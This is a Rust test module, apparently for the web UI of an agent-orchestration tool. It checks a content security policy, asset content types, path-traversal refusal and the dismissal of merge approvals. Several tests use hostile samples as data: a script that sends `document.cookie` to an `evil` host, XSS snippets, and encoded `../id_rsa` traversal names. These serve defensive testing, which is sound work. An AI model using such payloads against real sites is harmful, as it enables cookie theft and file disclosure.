12697        let body = serde_json::json!({
12698            "schema": 1,
12699            "pid": 4242,
12700            "started_at": Timestamp::now().to_string(),
12701            "updated_at": updated_at.to_string(),
12702            "idle": false,
12703            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12704            "completed": 7,
12705            "polls": 143,
12706        });
12707        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12708    }
12709
12710    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12711    ///
12712    /// No test in this file may start the real loop - see [`Ui::launch`] for
12713    /// why - so this stands in for the only thing the routes need a loop to
12714    /// do: keep running until `Stop` is set, then return. A real
12715    /// `serve_until` here would resolve its queue and its status file through
12716    /// the process-global magi home, claim whatever it found in the
12717    /// operator's live backlog, overwrite the status file of the `magi serve`
12718    /// that owns it, and spend real agent quota on a real competition.
12719    fn launch_idle(
12720        _opts: daemon::Opts,
12721        stop: daemon::Stop,
12722    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12723        Box::pin(async move {
12724            while !stop.stopped() {
12725                tokio::time::sleep(Duration::from_millis(2)).await;
12726            }
12727            Ok(())
12728        })
12729    }
12730
12731    /// A loop that fails on the way up, the way one whose home has gone
12732    /// read-only does.
12733    fn launch_broken(
12734        _opts: daemon::Opts,
12735        _stop: daemon::Stop,
12736    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12737        // The stand-in dies instantly, so a restarted one can record its own
12738        // failure before the start's response is read. The second attempt
12739        // therefore fails with a different message, to tell a stale error
12740        // from a fresh one.
12741        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12742        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12743        Box::pin(async move {
12744            Err(anyhow::anyhow!(if first {
12745                "publish the daemon status file: read-only file system"
12746            } else {
12747                "the restarted stand-in failed as well"
12748            }))
12749        })
12750    }
12751
12752    /// The loop view once `want` accepts it.
12753    ///
12754    /// Polled rather than asserted straight after the POST because stopping
12755    /// is deliberately not instant - that is the contract - and rather than
12756    /// slept through because a fixed wait is either flaky or slow.
12757    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12758    /// finite, so a genuine hang fails the test instead of hanging the
12759    /// suite.
12760    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12761        for _ in 0..SETTLE_STEPS {
12762            let view = fx.get("/api/loop").await.json();
12763            if want(&view) {
12764                return view;
12765            }
12766            tokio::time::sleep(Duration::from_millis(10)).await;
12767        }
12768        panic!(
12769            "the loop never settled: {}",
12770            fx.get("/api/loop").await.json()
12771        );
12772    }
12773
12774    /// File an open question directly in the store the server reads.
12775    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12776        let store = fx.questions();
12777        let mut q = Question::new(
12778            "20260902-000000-beef".to_owned(),
12779            "implement".to_owned(),
12780            "impl-A".to_owned(),
12781            summary.to_owned(),
12782            "because it matters".to_owned(),
12783            choices.iter().map(|c| (*c).to_owned()).collect(),
12784        );
12785        store.put(&mut q).expect("put question");
12786        q.id
12787    }
12788
12789    /// A question with a panel the server can serve, plus the named assets.
12790    ///
12791    /// Written through `Questions::put_panel` rather than by laying out the
12792    /// directory here, so these tests exercise the same on-disk shape the
12793    /// agents produce and cannot pass against a layout only the tests know.
12794    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12795        let store = fx.questions();
12796        let mut q = Question::new(
12797            "20260902-000000-beef".to_owned(),
12798            "land".to_owned(),
12799            "fix".to_owned(),
12800            "Merge this?".to_owned(),
12801            "the diff is in the panel".to_owned(),
12802            vec!["merge".to_owned(), "hold".to_owned()],
12803        );
12804        // Staged outside the questions root, because `put_panel` copies from
12805        // wherever the agent left its files.
12806        let staging = fx.home.path().join("staging");
12807        std::fs::create_dir_all(&staging).expect("staging dir");
12808        let sources: Vec<PathBuf> = assets
12809            .iter()
12810            .map(|(name, bytes)| {
12811                let path = staging.join(name);
12812                std::fs::write(&path, bytes).expect("write staged asset");
12813                path
12814            })
12815            .collect();
12816        store
12817            .put_panel(&mut q, html, &sources)
12818            .expect("write the panel");
12819        store.put(&mut q).expect("put question");
12820        q.id
12821    }
12822
12823    /// A talk on disk, without talking to a model.
12824    ///
12825    /// Written as JSON straight into the store the server reads, because the
12826    /// only constructor `talk::begin` offers takes no turn but still requires
12827    /// a real caller-visible flow. The one thing this cannot make up is the
12828    /// seat, so it is built with the real `SeatState::new` and serialized -
12829    /// the alternative, hand-writing that object, would make these tests fail
12830    /// the day the seat gains a field.
12831    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12832        seed_talk_at(&fx.talks(), id, status)
12833    }
12834
12835    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12836        std::fs::create_dir_all(store.root()).expect("talks dir");
12837        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12838            .expect("serialize a seat");
12839        let body = serde_json::json!({
12840            "schema": 1,
12841            "id": id,
12842            "repo": "/repo/magi",
12843            "agent": "mock",
12844            "status": status,
12845            "turns": [],
12846            "created_at": Timestamp::now().to_string(),
12847            "updated_at": Timestamp::now().to_string(),
12848            "seat": seat,
12849        });
12850        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12851        store.get(id).expect("the seeded talk has to be readable");
12852        id.to_owned()
12853    }
12854
12855    #[tokio::test]
12856    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12857        let fx = Fixture::start().await;
12858        let id = panel(
12859            &fx,
12860            "<h1>Merge?</h1><img src=\"diff.svg\">",
12861            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12862        );
12863
12864        for path in [
12865            format!("/api/questions/{id}/panel"),
12866            format!("/api/questions/{id}/asset/diff.svg"),
12867        ] {
12868            let res = fx.get(&path).await;
12869            assert_eq!(res.status, 200, "{path}: {}", res.body);
12870            // The whole string, not a substring. A weakened directive - an
12871            // `img-src *` that lets a panel beacon out to a remote host, a
12872            // `script-src` anything, a missing `form-action` that lets it post
12873            // the owner's decision to a third party - has to fail here, and a
12874            // `contains` assertion would let every one of those through.
12875            assert_eq!(
12876                res.header("content-security-policy"),
12877                Some(
12878                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12879                     font-src data:; base-uri 'none'; form-action 'none'; \
12880                     frame-ancestors 'self'"
12881                ),
12882                "{path} is the only thing between a hostile panel and the tailnet"
12883            );
12884            assert_eq!(
12885                res.header("x-content-type-options"),
12886                Some("nosniff"),
12887                "{path}: a browser must not re-decide the type we sent"
12888            );
12889            assert_eq!(
12890                res.header("referrer-policy"),
12891                Some("no-referrer"),
12892                "{path}: a panel must not leak the question id off the machine"
12893            );
12894
12895            // The front end mounts the frame only after a `HEAD` says the
12896            // panel is there, so `HEAD` has to answer with the same status and
12897            // the same policy as `GET` - a preflight that came back without
12898            // the CSP would mean a frame mounted on an unverified promise.
12899            let pre = fx.head(&path).await;
12900            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12901            assert_eq!(
12902                pre.header("content-security-policy"),
12903                res.header("content-security-policy"),
12904                "{path}: the preflight carries the same policy"
12905            );
12906            assert_eq!(
12907                pre.header("content-type"),
12908                res.header("content-type"),
12909                "{path}: the preflight carries the same type"
12910            );
12911        }
12912    }
12913
12914    #[tokio::test]
12915    async fn a_panel_reaches_the_browser_byte_for_byte() {
12916        let fx = Fixture::start().await;
12917        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12918        // tag, an entity, and a multi-byte character. The sandbox is what makes
12919        // this safe, so nothing here may be rewritten on the way out - a
12920        // rewritten diff is a diff the owner cannot trust.
12921        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12922        let id = panel(&fx, html, &[]);
12923
12924        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12925
12926        assert_eq!(res.status, 200);
12927        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12928        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12929        assert_eq!(
12930            res.header("content-disposition"),
12931            None,
12932            "the panel itself is rendered in the frame, not downloaded"
12933        );
12934    }
12935
12936    #[tokio::test]
12937    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12938        let fx = Fixture::start().await;
12939        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12940        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12941        let id = panel(
12942            &fx,
12943            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12944            &[("diff.svg", svg), ("shot.png", png)],
12945        );
12946
12947        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12948        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12949
12950        assert_eq!(as_svg.status, 200);
12951        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12952        // An SVG is XML that may carry script. Inside the panel it is an
12953        // `<img src>` and the script cannot run; opened at the top level it
12954        // would be a document on magi's own origin, so the browser is told to
12955        // download it instead of rendering it.
12956        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12957
12958        assert_eq!(as_png.status, 200);
12959        assert_eq!(as_png.header("content-type"), Some("image/png"));
12960        assert_eq!(
12961            as_png.header("content-disposition"),
12962            None,
12963            "a raster image has no execution surface, so tapping it still shows it"
12964        );
12965        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12966    }
12967
12968    #[tokio::test]
12969    async fn an_html_asset_is_never_served_as_html() {
12970        let fx = Fixture::start().await;
12971        let id = panel(
12972            &fx,
12973            "<p>see the notes</p>",
12974            &[
12975                (
12976                    "notes.html",
12977                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12978                ),
12979                ("hook.js", b"fetch('http://evil/')"),
12980                ("data.json", b"{}"),
12981                ("HEADLINE.TXT", b"plain"),
12982            ],
12983        );
12984
12985        for name in ["notes.html", "hook.js", "data.json"] {
12986            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12987            assert_eq!(res.status, 200, "{name}: {}", res.body);
12988            // Serving this as text/html would be a way to reach agent markup
12989            // at the top level of the operator's browser, outside the frame's
12990            // sandbox and outside its CSP - which is the whole thing the panel
12991            // design exists to prevent. Unlisted types are downloads.
12992            assert_eq!(
12993                res.header("content-type"),
12994                Some("application/octet-stream"),
12995                "{name} must not be a type the browser will execute or render"
12996            );
12997        }
12998        // The whitelist is matched case-insensitively, so an agent shouting the
12999        // extension still gets a readable file rather than a download.
13000        let txt = fx
13001            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
13002            .await;
13003        assert_eq!(
13004            txt.header("content-type"),
13005            Some("text/plain; charset=utf-8")
13006        );
13007    }
13008
13009    #[tokio::test]
13010    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
13011        let fx = Fixture::start().await;
13012        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13013        // Something outside the panel directory that a traversal would reach if
13014        // one got through, so a passing test is not merely "the file was
13015        // missing anyway".
13016        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
13017
13018        // Decoded before this server's handler sees them: axum percent-decodes
13019        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
13020        // string with a NUL in it. All three look like ordinary single-segment
13021        // filenames to the router, so the router passes them through and
13022        // `valid_asset_name` is what refuses them - for the literal `..`, and
13023        // for `/`, `\` and NUL not being in the permitted character set.
13024        for encoded in [
13025            "%2e%2e%2fid_rsa",
13026            "..%2fid_rsa",
13027            "..%5cid_rsa",
13028            "%2e%2e%5cid_rsa",
13029            "diff%00.svg",
13030            "..",
13031            ".hidden",
13032            "%2e%2e%2f%2e%2e%2fid_rsa",
13033        ] {
13034            let res = fx
13035                .get(&format!("/api/questions/{id}/asset/{encoded}"))
13036                .await;
13037            assert_eq!(
13038                res.status, 400,
13039                "`{encoded}` has to be refused by name, not looked up: {}",
13040                res.body
13041            );
13042            assert!(res.json()["error"].is_string(), "{}", res.body);
13043        }
13044
13045        // Not decoded, and never this handler's problem: a real slash makes the
13046        // request one segment too long for `/api/questions/{id}/asset/{name}`,
13047        // so axum's router has no route to match and answers before any code
13048        // here runs. Asserted so that a future route with a wildcard segment
13049        // cannot quietly open this door.
13050        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
13051            let res = fx
13052                .get(&format!("/api/questions/{id}/asset/{literal}"))
13053                .await;
13054            assert_eq!(
13055                res.status, 404,
13056                "`{literal}` must not match the asset route at all: {}",
13057                res.body
13058            );
13059        }
13060    }
13061
13062    #[tokio::test]
13063    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
13064        let fx = Fixture::start().await;
13065        let plain = ask(&fx, "Which backend?", &["SQLite"]);
13066        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13067
13068        // A question nobody wrote a panel for. The client preflights with HEAD
13069        // and cannot see inside a sandboxed frame, so this must be a status and
13070        // not an empty page.
13071        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
13072        assert_eq!(none.status, 404, "{}", none.body);
13073        assert!(none.json()["error"].is_string(), "{}", none.body);
13074        assert_eq!(
13075            fx.head(&format!("/api/questions/{plain}/panel"))
13076                .await
13077                .status,
13078            404,
13079            "the preflight is the only way the client can learn this"
13080        );
13081
13082        // A name that is perfectly legal and simply is not there.
13083        let missing = fx
13084            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
13085            .await;
13086        assert_eq!(missing.status, 404, "{}", missing.body);
13087        assert!(missing.json()["error"].is_string(), "{}", missing.body);
13088
13089        // A question that does not exist at all, on both routes.
13090        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
13091        assert_eq!(
13092            fx.get("/api/questions/nope/asset/diff.svg").await.status,
13093            404
13094        );
13095    }
13096
13097    #[tokio::test]
13098    async fn a_run_with_an_open_question_reads_as_waiting() {
13099        let fx = Fixture::start().await;
13100        let run = "20260902-000000-beef".to_owned();
13101        write_run(&fx.runs(), &run, RunStatus::Implementing);
13102
13103        let before = fx.get("/api/runs").await.json();
13104        assert_eq!(before[0]["waiting"], false, "{before}");
13105
13106        let store = fx.questions();
13107        let mut q = Question::new(
13108            run.clone(),
13109            "implement".to_owned(),
13110            "impl-A".to_owned(),
13111            "Which backend?".to_owned(),
13112            String::new(),
13113            vec!["SQLite".to_owned()],
13114        );
13115        store.put(&mut q).expect("put");
13116
13117        let during = fx.get("/api/runs").await.json();
13118        assert_eq!(during[0]["waiting"], true, "{during}");
13119
13120        // Answered: the run is moving again, and the flag has to follow without
13121        // anything having rewritten run.json.
13122        q.answer(Answer::Choice("SQLite".to_owned()))
13123            .expect("answer");
13124        store.put(&mut q).expect("put");
13125        let after = fx.get("/api/runs").await.json();
13126        assert_eq!(after[0]["waiting"], false, "{after}");
13127    }
13128
13129    #[tokio::test]
13130    async fn an_open_question_is_listed_and_counted_by_health() {
13131        let fx = Fixture::start().await;
13132        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13133
13134        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13135        let listed = fx.get("/api/questions").await.json();
13136        assert_eq!(listed.as_array().expect("array").len(), 1);
13137        assert_eq!(listed[0]["id"], id);
13138        assert_eq!(listed[0]["status"], "open");
13139        assert_eq!(listed[0]["choices"][1], "Redis");
13140        // The count is what makes the phone's indicator honest: it is the one
13141        // number meaning nothing will move until a human acts.
13142        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13143    }
13144
13145    fn obsolete_approval_state() -> RunState {
13146        let mut state = crate::land::tests::repair_state(true, true);
13147        state.pr = Some(crate::run::PrRecord {
13148            url: "https://github.com/example/repo/pull/42".into(),
13149            number: 42,
13150            state: "open".into(),
13151            checks: "green".into(),
13152            round: 1,
13153            rounds: 4,
13154            red_at_merge: Vec::new(),
13155        });
13156        state
13157    }
13158
13159    #[tokio::test]
13160    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
13161        for owner in ["missing", "current", "completed", "later"] {
13162            let fx = Fixture {
13163                home: TempDir::new().unwrap(),
13164                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13165            };
13166            let mut state = obsolete_approval_state();
13167            state.status = RunStatus::Landing;
13168            state.parked = true;
13169            state.driver_exited = true;
13170            let mut q = Question::new(
13171                state.id.clone(),
13172                crate::land::APPROVAL_NODE.into(),
13173                "land".into(),
13174                "Old approval".into(),
13175                "Original evidence".into(),
13176                vec!["merge".into(), "hold".into()],
13177            );
13178            state.land_approval = Some(crate::run::LandApproval {
13179                question: q.id.clone(),
13180                head: "head".into(),
13181            });
13182            state.save_under(fx.home.path()).unwrap();
13183            let stale = state.clone();
13184            fx.questions().put(&mut q).unwrap();
13185            let mut task = Task::new(
13186                "Owner".into(),
13187                "Original instruction".into(),
13188                state.repo.clone(),
13189                Source::Human,
13190            );
13191            task.runs.push(state.id.clone());
13192            task.status = if owner == "completed" {
13193                TaskStatus::Done
13194            } else {
13195                TaskStatus::Parked
13196            };
13197            if owner == "later" {
13198                task.runs.push("later-run".into());
13199            }
13200            if owner != "missing" {
13201                fx.queue().put(&mut task).unwrap();
13202            }
13203            let ui = Arc::new(Ui::new(
13204                fx.queue(),
13205                fx.questions(),
13206                fx.talks(),
13207                fx.runs(),
13208                fx.home.path().into(),
13209                state.repo.clone(),
13210            ));
13211            let response = question_answer(
13212                State(ui),
13213                Path(q.id.clone()),
13214                Ok(Json(NewAnswer {
13215                    choice: Some(crate::merge_decision::DISMISS.into()),
13216                    text: None,
13217                    ..Default::default()
13218                })),
13219            )
13220            .await
13221            .unwrap();
13222            assert_eq!(
13223                response.0.question.resolution().as_deref(),
13224                Some(crate::merge_decision::DISMISS)
13225            );
13226            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13227            assert_eq!(disk.status, RunStatus::Superseded);
13228            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
13229            assert!(!crate::merge_decision::resumable_hold(&disk));
13230            assert_eq!(
13231                serde_json::to_value(&disk.pr).unwrap(),
13232                serde_json::to_value(&stale.pr).unwrap()
13233            );
13234            assert_eq!(fx.questions().count_open(), 0);
13235            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
13236            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13237            if owner == "missing" {
13238                assert!(fx.queue().list().is_empty());
13239            } else {
13240                let after = fx.queue().get(&task.id).unwrap();
13241                assert_eq!(
13242                    after.status,
13243                    if owner == "current" {
13244                        TaskStatus::Done
13245                    } else {
13246                        task.status
13247                    }
13248                );
13249                assert_eq!(after.runs, task.runs);
13250                assert_eq!(after.instruction, task.instruction);
13251                assert_eq!(after.action_applied(&q.id), owner == "current");
13252            }
13253        }
13254    }
13255
13256    #[tokio::test]
13257    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
13258        let fx = Fixture::start().await;
13259        let mut state = obsolete_approval_state();
13260        state.status = RunStatus::Landing;
13261        state.parked = true;
13262        state.driver_exited = true;
13263        let mut q = Question::new(
13264            state.id.clone(),
13265            crate::land::APPROVAL_NODE.into(),
13266            "land".into(),
13267            "Superseded PR approval".into(),
13268            "Original review evidence".into(),
13269            vec!["merge".into(), "hold".into()],
13270        );
13271        state.land_approval = Some(crate::run::LandApproval {
13272            question: q.id.clone(),
13273            head: "old-reviewed-head".into(),
13274        });
13275        // The old persisted PR may still say open even when a separate change
13276        // already landed. Dismissal must not use that snapshot to close it.
13277        state.save_under(fx.home.path()).unwrap();
13278        let stale_driver = state.clone();
13279        fx.questions().put(&mut q).unwrap();
13280        let path = fx
13281            .home
13282            .path()
13283            .join("questions")
13284            .join(format!("{}.json", q.id));
13285        let mut legacy = serde_json::to_value(&q).unwrap();
13286        legacy["schema"] = 9.into();
13287        legacy.as_object_mut().unwrap().remove("merge_target");
13288        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
13289
13290        // POST without GET tests legacy upgrade and validation at the actual
13291        // entry point, rather than constructing a modern card in the test.
13292        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13293        let answer_path = format!("/api/questions/{}/answer", q.id);
13294        let res = fx.post(&answer_path, Some(&body)).await;
13295        assert_eq!(res.status, 200, "{}", res.body);
13296        let disk = fx.questions().get(&q.id).unwrap();
13297        assert_eq!(
13298            disk.resolution().as_deref(),
13299            Some(crate::merge_decision::DISMISS)
13300        );
13301        assert!(disk.detail.starts_with("Original review evidence"));
13302        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
13303        assert_eq!(retired.status, RunStatus::Superseded);
13304        assert_eq!(
13305            serde_json::to_value(&retired.pr).unwrap(),
13306            serde_json::to_value(&state.pr).unwrap()
13307        );
13308        assert!(!retired.merge_decision.as_ref().unwrap().closed);
13309        assert!(!crate::merge_decision::resumable_hold(&retired));
13310        assert!(fx.queue().list().is_empty());
13311        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13312        // A restarted server re-reads the persisted pending list.
13313        let addr = Fixture::serve(
13314            fx.home.path(),
13315            PathBuf::from("/repo/magi"),
13316            launch_idle,
13317            None,
13318        )
13319        .await;
13320        let reconnected = Fixture {
13321            home: fx.home,
13322            addr,
13323        };
13324        let listed = reconnected.get("/api/questions").await.json();
13325        assert!(
13326            listed
13327                .as_array()
13328                .unwrap()
13329                .iter()
13330                .all(|q| q["status"] != "open")
13331        );
13332        assert_eq!(listed[0]["id"], q.id, "history remains available");
13333        assert_eq!(
13334            reconnected.get("/api/health").await.json()["questions_open"],
13335            0
13336        );
13337        assert_eq!(
13338            reconnected
13339                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
13340                .await
13341                .status,
13342            409
13343        );
13344        // A late waiter cannot turn the old answer into a new decision.
13345        assert!(
13346            reconnected
13347                .questions()
13348                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
13349                .is_err()
13350        );
13351        // The same guard used by claims, repair and publication rejects a
13352        // saved in-memory driver as well as the persisted terminal record.
13353        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
13354    }
13355
13356    #[tokio::test]
13357    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
13358        let fx = Fixture::start().await;
13359        let mut state = obsolete_approval_state();
13360        state.status = RunStatus::Landing;
13361        state.driver_exited = true;
13362        let mut q = Question::new(
13363            state.id.clone(),
13364            crate::land::APPROVAL_NODE.into(),
13365            "land".into(),
13366            "Obsolete approval".into(),
13367            String::new(),
13368            vec!["merge".into(), "hold".into()],
13369        );
13370        state.land_approval = Some(crate::run::LandApproval {
13371            question: q.id.clone(),
13372            head: "head".into(),
13373        });
13374        state.save_under(fx.home.path()).unwrap();
13375        fx.questions().put(&mut q).unwrap();
13376        let mut task = Task::new(
13377            "Owner".into(),
13378            "Original instruction".into(),
13379            state.repo.clone(),
13380            Source::Human,
13381        );
13382        task.runs = vec![state.id.clone(), "later-run".into()];
13383        fx.queue().put(&mut task).unwrap();
13384        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
13385        let claim = fx.queue().claim(&task.id).unwrap();
13386        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13387        let path = format!("/api/questions/{}/answer", q.id);
13388        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13389        assert!(fx.questions().get(&q.id).unwrap().status.open());
13390        drop(claim);
13391        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
13392        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13393        assert!(fx.questions().get(&q.id).unwrap().status.open());
13394        drop(publication);
13395        // Unknown liveness and armed auto-merge both fail without settling.
13396        state.driver_exited = false;
13397        state.driver_pid = None;
13398        state.driver_claimed = None; // No durable proof of an unstarted execution.
13399        state.save_under(fx.home.path()).unwrap();
13400        assert_eq!(
13401            state.liveness_under(fx.home.path(), false),
13402            crate::run::Liveness::Unknown
13403        );
13404
13405        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13406        state.driver_exited = true;
13407        state.land_armed_head = Some("head".into());
13408        state.save_under(fx.home.path()).unwrap();
13409        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
13410        state.land_armed_head = None;
13411        state.save_under(fx.home.path()).unwrap();
13412        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13413        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13414        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
13415    }
13416
13417    #[tokio::test]
13418    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
13419        let fx = Fixture::start().await;
13420        let mut state = obsolete_approval_state();
13421        state.status = RunStatus::Landing;
13422        state.driver_exited = true;
13423        let mut q = Question::new(
13424            state.id.clone(),
13425            crate::land::APPROVAL_NODE.into(),
13426            "land".into(),
13427            "Obsolete approval".into(),
13428            String::new(),
13429            vec!["merge".into(), "hold".into()],
13430        );
13431        state.land_approval = Some(crate::run::LandApproval {
13432            question: q.id.clone(),
13433            head: "head".into(),
13434        });
13435        state.save_under(fx.home.path()).unwrap();
13436        fx.questions().put(&mut q).unwrap();
13437        let mut task = Task::new(
13438            "Owner".into(),
13439            "Original instruction".into(),
13440            state.repo.clone(),
13441            Source::Human,
13442        );
13443        task.runs.push(state.id.clone());
13444        task.status = TaskStatus::Parked;
13445        fx.queue().put(&mut task).unwrap();
13446        // Model a crash after the run stop was persisted but before the queue
13447        // and answered question were flushed. Retrying must finish, not resume.
13448        state.merge_decision = Some(crate::merge_decision::Decision {
13449            question: q.id.clone(),
13450            target: crate::merge_decision::Target {
13451                pr: state.pr.as_ref().unwrap().url.clone(),
13452                head: "head".into(),
13453                language: "ja".into(),
13454            },
13455            choice: crate::merge_decision::DISMISS.into(),
13456            closed: false,
13457            replacement_run: None,
13458            replacement_pr: None,
13459        });
13460        state.status = RunStatus::Superseded;
13461        state.save_under(fx.home.path()).unwrap();
13462        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
13463        let path = format!("/api/questions/{}/answer", q.id);
13464        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
13465        let done = fx.queue().get(&task.id).unwrap();
13466        assert_eq!(done.status, TaskStatus::Done);
13467        assert_eq!(done.runs, task.runs);
13468        assert_eq!(done.instruction, task.instruction);
13469        assert!(done.action_applied(&q.id));
13470        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13471        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
13472        assert!(!fx.questions().get(&q.id).unwrap().status.open());
13473    }
13474
13475    #[tokio::test]
13476    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
13477        let home = TempDir::new().unwrap();
13478        let ui = Arc::new(Ui::new(
13479            Queue::at(home.path().join("queue")),
13480            Questions::at(home.path().join("questions")),
13481            Talks::at(home.path().join("talks")),
13482            home.path().join("runs"),
13483            home.path().to_owned(),
13484            home.path().to_owned(),
13485        ));
13486        let talks = &ui.talks;
13487        let chat =
13488            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
13489        let mut q = Question::new(
13490            "run".into(),
13491            crate::land::APPROVAL_NODE.into(),
13492            "land".into(),
13493            "Merge?".into(),
13494            String::new(),
13495            vec!["merge".into(), "hold".into()],
13496        );
13497        q.routed_task = Some("task".into());
13498        q.routed_chat = Some(chat.id.clone());
13499        q.merge_target = Some(crate::merge_decision::Target {
13500            pr: "https://example.test/pull/1".into(),
13501            head: "head-a".into(),
13502            language: "en".into(),
13503        });
13504        ui.questions.put(&mut q).unwrap();
13505        let send = |body| {
13506            question_answer(
13507                State(ui.clone()),
13508                Path(q.id.clone()),
13509                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
13510            )
13511        };
13512        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
13513        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
13514        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
13515        assert!(send(wrong_chat).await.is_err());
13516        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
13517        assert!(send(stale).await.is_err());
13518        assert!(ui.questions.get(&q.id).unwrap().status.open());
13519        assert!(send(button.clone()).await.is_ok());
13520        assert_eq!(
13521            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13522            Some("merge")
13523        );
13524        assert!(send(button).await.is_err());
13525    }
13526
13527    #[tokio::test]
13528    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
13529        let home = TempDir::new().unwrap();
13530        let ui = Arc::new(Ui::new(
13531            Queue::at(home.path().join("queue")),
13532            Questions::at(home.path().join("questions")),
13533            Talks::at(home.path().join("talks")),
13534            home.path().join("runs"),
13535            home.path().to_owned(),
13536            home.path().to_owned(),
13537        ));
13538        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13539            let mut q = Question::new(
13540                "run".into(),
13541                crate::land::APPROVAL_NODE.into(),
13542                "land".into(),
13543                "Merge?".into(),
13544                String::new(),
13545                vec!["merge".into(), choice.into()],
13546            );
13547            q.routed_task = Some("task".into());
13548            q.merge_target = Some(crate::merge_decision::Target {
13549                pr: "https://example.test/pull/1".into(),
13550                head: "head-a".into(),
13551                language: "en".into(),
13552            });
13553            ui.questions.put(&mut q).unwrap();
13554            let answer = |c: &str| {
13555                question_answer(
13556                    State(ui.clone()),
13557                    Path(q.id.clone()),
